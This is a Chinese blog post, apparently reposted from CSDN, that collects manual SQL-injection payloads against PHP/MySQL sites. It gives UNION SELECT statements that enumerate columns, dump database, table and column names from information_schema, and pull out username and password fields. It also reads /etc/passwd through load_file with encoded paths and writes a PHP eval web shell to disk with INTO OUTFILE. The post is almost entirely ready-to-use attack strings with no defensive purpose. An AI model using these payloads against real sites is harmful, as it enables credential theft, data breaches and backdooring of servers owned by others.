PHP+MySQL 手工注入语句大全 推荐

我PHP手工太菜了, 无奈只能补下PHP MYSQL手工注射,把收集总结的资料分享下。
暴字段长度

Order by num/*

匹配字段

and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置

and 1=2 union select 1,2,3,4,5……n/*

利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root百度收录批量查询

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:1、知道站点物理路径

   2、有足够大的权限(可以用select …. from mysql.user测试)

   3、magic_quotes_gpc()=OFF

select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路径’

and 1=2 union all select 一句话HEX值 into outfile ‘路径’

load_file() 常用路径:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

猜你喜欢

转载自blog.csdn.net/weixin_44400506/article/details/88055199